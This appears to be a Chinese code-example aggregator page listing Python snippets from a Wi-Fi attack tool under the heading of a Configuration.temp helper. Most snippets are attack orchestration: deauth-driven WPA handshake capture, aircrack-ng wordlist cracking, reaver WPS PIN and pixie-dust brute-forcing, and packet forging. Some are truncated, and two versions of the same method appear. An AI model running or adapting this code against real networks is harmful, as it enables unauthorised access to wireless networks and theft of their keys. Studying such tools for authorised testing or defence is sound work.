Python Configuration.temp方法代码示例

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
 def find_files(self, endswith=None):
     ''' Finds all files in the temp directory that start with the output_file_prefix '''
     result = []
     for fil in os.listdir(Configuration.temp()):
         if fil.startswith(self.output_file_prefix):
             if not endswith or fil.endswith(endswith):
                 result.append(Configuration.temp() + fil)
     return result

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
 def get_xor():
     ''' Finds the last .xor file in the directory '''
     xor = None
     for fil in os.listdir(Configuration.temp()):
         if fil.startswith('replay_') and fil.endswith('.xor'):
             xor = fil
     return xor

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def __enter__(self):
        '''
            Setting things up for this context.
            Called at start of 'with Airodump(...) as x:'
            Actually starts the airodump process.
        '''
        self.delete_airodump_temp_files()

        self.csv_file_prefix = Configuration.temp() + self.output_file_prefix

        # Build the command
        command = [
            'airodump-ng',
            self.interface,
            '-a', # Only show associated clients
            '-w', self.csv_file_prefix # Output file prefix
        ]
        if self.channel:
            command.extend(['-c', str(self.channel)])
        if self.encryption:
            command.extend(['--enc', self.encryption])
        if self.wps:
            command.extend(['--wps'])
        if self.target_bssid:
            command.extend(['--bssid', self.target_bssid])

        if self.ivs_only:
            command.extend(['--output-format', 'ivs,csv'])
        else:
            command.extend(['--output-format', 'pcap,csv'])

        # Start the process
        self.pid = Process(command, devnull=True)
        return self

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def __init__(self, target, attack_type, client_mac=None, replay_file=None):
        '''
            Starts aireplay process.
            Args:
                target - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac - MAC address of an associated client.
        '''
        cmd = Aireplay.get_aireplay_command(target,
                                            attack_type,
                                            client_mac=client_mac,
                                            replay_file=replay_file)

        # TODO: set 'stdout' when creating process to store output to file.
        # AttackWEP will read file to get status of attack.
        # E.g., chopchop will regex "(\d+)% done" to get percent complete.
        '''
        from subprocess import PIPE
        sout = PIPE
        if '--chopchop' in cmd:
            sout = open(Configuration.temp('chopchop'), 'w')
        '''

        self.pid = Process(cmd,
                           devnull=False,
                           cwd=Configuration.temp())

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def run(self):
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps_pin') as airodump:
            # Wait for target
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "Waiting for target to appear...")
            self.target = self.wait_for_target(airodump)

            # Start bully
            self.bully_proc = Process(self.cmd,
                stderr=Process.devnull(),
                bufsize=0,
                cwd=Configuration.temp())
            t = Thread(target=self.parse_line_thread)
            t.daemon = True
            t.start()
            try:
                while self.bully_proc.poll() is None:
                    try:
                        self.target = self.wait_for_target(airodump)
                    except Exception as e:
                        Color.clear_entire_line()
                        Color.pattack("WPS",
                                self.target,
                                self.attack_type(),
                                "{R}failed: {O}%s{W}" % e)
                        Color.pl("")
                        self.stop()
                        break
                    Color.clear_entire_line()
                    Color.pattack("WPS",
                            self.target,
                            self.attack_type(),
                            self.get_status())
                    time.sleep(0.5)
            except KeyboardInterrupt as e:
                self.stop()
                raise e
            except Exception as e:
                self.stop()
                raise e

        if self.crack_result is None:
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "{R}Failed{W}\n")

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def __init__(self, ivs_file=None):
        
        self.cracked_file = Configuration.temp() + 'wepkey.txt'

        # Delete previous cracked files
        if os.path.exists(self.cracked_file):
            os.remove(self.cracked_file)

        command = [
            'aircrack-ng',
            '-a', '1',
            '-l', self.cracked_file,
            ivs_file
        ]

        self.pid = Process(command, devnull=True)

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def forge_packet(xor_file, bssid, station_mac):
        ''' Forges packet from .xor file '''
        forged_file = 'forged.cap'
        cmd = [
            'packetforge-ng',
            '-0',
            '-a', bssid,           # Target MAC
            '-h', station_mac,     # Client MAC
            '-k', '192.168.1.2',   # Dest IP
            '-l', '192.168.1.100', # Source IP
            '-y', xor_file,        # Read PRNG from .xor file
            '-w', forged_file,     # Write to
            Configuration.interface
        ]

        cmd = '"%s"' % '" "'.join(cmd)
        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
        if out.strip() == 'Wrote packet to: %s' % forged_file:
            return forged_file
        else:
            from Color import Color
            Color.pl('{!} {R}failed to forge packet from .xor file{W}')
            Color.pl('output:\n"%s"' % out)
            return None

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def run(self):
        '''
            Initiates full WPA hanshake capture attack.
        '''

        # Check if user only wants to run PixieDust attack
        if Configuration.pixie_only and self.target.wps:
            Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack')
            self.success = False
            return self.success

        # First, start Airodump process
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wpa') as airodump:

            Color.clear_entire_line()
            Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
            airodump_target = self.wait_for_target(airodump)

            self.clients = []

            handshake = None

            timeout_timer = Timer(Configuration.wpa_attack_timeout)
            deauth_timer = Timer(Configuration.wpa_deauth_timeout)

            while handshake is None and not timeout_timer.ended():
                step_timer = Timer(1)
                Color.clear_entire_line()
                Color.pattack("WPA",
                        airodump_target,
                        "Handshake capture",
                        "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))

                # Find .cap file
                cap_files = airodump.find_files(endswith='.cap')
                if len(cap_files) == 0:
                    # No cap files yet
                    time.sleep(step_timer.remaining())
                    continue
                cap_file = cap_files[0]

                # Copy .cap file to temp for consistency
                temp_file = Configuration.temp('handshake.cap.bak')
                copy(cap_file, temp_file)

                # Check cap file in temp for Handshake
                bssid = airodump_target.bssid
                essid = airodump_target.essid if airodump_target.essid_known else None
                handshake = Handshake(temp_file, bssid=bssid, essid=essid)
                if handshake.has_handshake():
                    # We got a handshake
                    Color.pl('\n\n{+} {G}successfully captured handshake{W}')
                    break

                # There is no handshake
                handshake = None
                # Delete copied .cap file in temp to save space
                os.remove(temp_file)

                # Look for new clients
                airodump_target = self.wait_for_target(airodump)
                for client in airodump_target.clients:
                    if client.station not in self.clients:
                        Color.clear_entire_line()
                        Color.pattack("WPA",
                                airodump_target,
                                "Handshake capture",
                                "Discovered new client: {G}%s{W}" % client.station)
                        Color.pl("")
                        self.clients.append(client.station)

                # Send deauth to a client or broadcast
                if deauth_timer.ended():
                    self.deauth(airodump_target)
                    # Restart timer
                    deauth_timer = Timer(Configuration.wpa_deauth_timeout)

                # Sleep for at-most 1 second
                time.sleep(step_timer.remaining())
                continue # Handshake listen+deauth loop

            if not handshake:
                # No handshake, attack failed.
                Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
                self.success = False
                return self.success

            # Save copy of handshake to ./hs/
            self.save_handshake(handshake)

            # Print analysis of handshake file
            Color.pl('\n{+} analysis of captured handshake file:')
            handshake.analyze()

            # Try to crack handshake
            key = self.crack_handshake(handshake, Configuration.wordlist)
            if key is None:
#.........这里部分代码省略.........

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def crack_handshake(self, handshake, wordlist):
        '''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
        if wordlist is None:
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist ({R}--dict{O}) is not set")
            return None
        elif not os.path.exists(wordlist):
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist {R}%s{O} was not found" % wordlist)
            return None

        Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
                " {C}%s{W} wordlist" % os.path.split(wordlist)[-1])

        key_file = Configuration.temp('wpakey.txt')
        command = [
            "aircrack-ng",
            "-a", "2",
            "-w", wordlist,
            "--bssid", handshake.bssid,
            "-l", key_file,
            handshake.capfile
        ]
        crack_proc = Process(command)

        # Report progress of cracking
        aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
        aircrack_key_re  = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
        num_tried = num_total = 0
        percent = num_kps = 0.0
        eta_str = "unknown"
        current_key = ''
        while crack_proc.poll() is None:
            line = crack_proc.pid.stdout.readline()
            match_nums = aircrack_nums_re.search(line)
            match_keys = aircrack_key_re.search(line)
            if match_nums:
                num_tried = int(match_nums.group(1))
                num_total = int(match_nums.group(2))
                num_kps = float(match_nums.group(3))
                eta_seconds = (num_total - num_tried) / num_kps
                eta_str = Timer.secs_to_str(eta_seconds)
                percent = 100.0 * float(num_tried) / float(num_total)
            elif match_keys:
                current_key = match_keys.group(1)
            else:
                continue

            status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
            status += " ETA: {C}%s{W}" % eta_str
            status += " @ {C}%0.1fkps{W}" % num_kps
            #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
            status += " (current key: {C}%s{W})" % current_key
            Color.clear_entire_line()
            Color.p(status)

        Color.pl("")
        # Check crack result
        if os.path.exists(key_file):
            f = open(key_file, "r")
            key = f.read().strip()
            f.close()
            os.remove(key_file)

            Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
            return key
        else:
            Color.pl("{!} {R}Failed to crack handshake:" +
                     " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
            return None

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def run(self):
        """
            Initiates full WPA hanshake capture attack.
        """

        # Check if user only wants to run PixieDust attack
        if Configuration.pixie_only and self.target.wps:
            Color.pl("{!} {O}--pixie{R} set, ignoring WPA-handshake attack")
            self.success = False
            return self.success

        # First, start Airodump process
        with Airodump(
            channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix="wpa"
        ) as airodump:

            Color.clear_line()
            Color.p("\r{+} {C}WPA-handshake attack{W}: ")
            Color.p("{O}waiting{W} for target to appear...")
            airodump_target = self.wait_for_target(airodump)

            # Get client station MAC addresses
            clients = [c.station for c in airodump_target.clients]
            client_index = 0

            handshake = None

            time_since_deauth = time.time()

            deauth_proc = None

            while True:
                if not deauth_proc or deauth_proc.poll() != None:
                    # Clear line only if we're not deauthing right now
                    Color.p("\r%s\r" % (" " * 90))
                Color.p("\r{+} {C}WPA-handshake attack{W}: ")
                Color.p("waiting for {C}handshake{W}...")

                time.sleep(1)

                # Find .cap file
                cap_files = airodump.find_files(endswith=".cap")
                if len(cap_files) == 0:
                    # No cap files yet
                    continue
                cap_file = cap_files[0]

                # Copy .cap file to temp for consistency
                temp_file = Configuration.temp("handshake.cap.bak")
                copy(cap_file, temp_file)

                # Check cap file in temp for Handshake
                bssid = airodump_target.bssid
                essid = None
                if airodump_target.essid_known:
                    essid = airodump_target.essid
                handshake = Handshake(temp_file, bssid=bssid, essid=essid)
                if handshake.has_handshake():
                    # We got a handshake
                    Color.pl("\n\n{+} {G}successfully captured handshake{W}")
                    break

                # There is no handshake
                handshake = None
                # Delete copied .cap file in temp to save space
                os.remove(temp_file)

                # Check status of deauth process
                if deauth_proc and deauth_proc.poll() == None:
                    # Deauth process is still running
                    time_since_deauth = time.time()

                # Look for new clients
                airodump_target = self.wait_for_target(airodump)
                for client in airodump_target.clients:
                    if client.station not in clients:
                        Color.pl("\r{+} discovered {G}client{W}:" + " {C}%s{W}%s" % (client.station, " " * 10))
                        clients.append(client.station)

                # Send deauth to a client or broadcast
                if time.time() - time_since_deauth > Configuration.wpa_deauth_timeout:
                    # We are N seconds since last deauth was sent,
                    # And the deauth process is not running.
                    if len(clients) == 0 or client_index >= len(clients):
                        deauth_proc = self.deauth(bssid)
                        client_index = 0
                    else:
                        client = clients[client_index]
                        deauth_proc = self.deauth(bssid, client)
                        client_index += 1
                    time_since_deauth = time.time()
                continue

            # Stop the deauth process if needed
            if deauth_proc and deauth_proc.poll() == None:
                deauth_proc.interrupt()

            if not handshake:
                # No handshake, attack failed.
                self.success = False
#.........这里部分代码省略.........

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-K', '1', # pixie-dust attack
            '-a', # Automatically restart session
            '-vv' # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        pin = None
        step = '0) initializing'
        time_since_last_step = 0

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            last_step = step
            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            if step != last_step:
                # Step changed, reset step timer
                time_since_last_step = 0
            else:
                time_since_last_step += 1

            if time_since_last_step > Configuration.wps_pixie_step_timeout:
                Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
                break
#.........这里部分代码省略.........

# 需要导入模块: from Configuration import Configuration [as 别名]
# 或者: from Configuration.Configuration import temp [as 别名]
    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-a', # Automatically restart session
            '-vv'  # verbose
        ]
        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        while True:
            time.sleep(1)
            percent = 100 * float(pin_current) / float(pin_total)
            Color.clear_line()
            Color.p('\r{+} {C}WPS PIN attack{W} (')
            Color.p('{G}%.2f%% done{W}, ' % percent)
            Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
            Color.p('{R}%d/%d failures{W}) ' % (failures, \
                                            Configuration.wps_fail_threshold))

            if failures >= Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures{W}')
                break

            # Get output
            out = self.get_stdout()

            # Clear output file
            f = open(self.stdout_file, 'w')
            f.write('')
            f.close()

            # CHECK FOR CRACK

            (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
            if pin and psk and ssid:
                # We cracked it.
                self.success = True
                Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
                self.crack_result.dump()
                break


            # PIN PROGRESS

            # Reaver 1.5.*
            match = None
            for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
                # Look at last entry for "Pin count advanced" to get latest pin count
                pass
            if match:
                # Reset failures on successful try
                failures = 0
                groups = match.groups()
                pin_current = int(groups[0])
                pin_total = int(groups[1])

            # Reaver 1.3, 1.4
            match = None
            for match in re.finditer('Trying pin (\d+)', out):
                if match:
                    pin = int(match.groups()[0])
                    if pin not in pins:
                        # Reset failures on successful try
                        failures = 0
                        pins.add(pin)
                        pin_current += 1

            # Failures
            if 'WPS transaction failed' in out:
                failures += out.count('WPS transaction failed')
            elif 'Receive timeout occurred' in out:
                # Reaver 1.4
                failures += out.count('Receive timeout occurred')

            # Status
            if 'Waiting for beacon from'   in out: state = '{O}waiting for beacon{W}'
            if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
            # Reaver 1.4
            if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'

            if 'Detected AP rate limiting' in out:
                state = '{R}rate-limited{W}'
                if Configuration.wps_skip_rate_limit:
#.........这里部分代码省略.........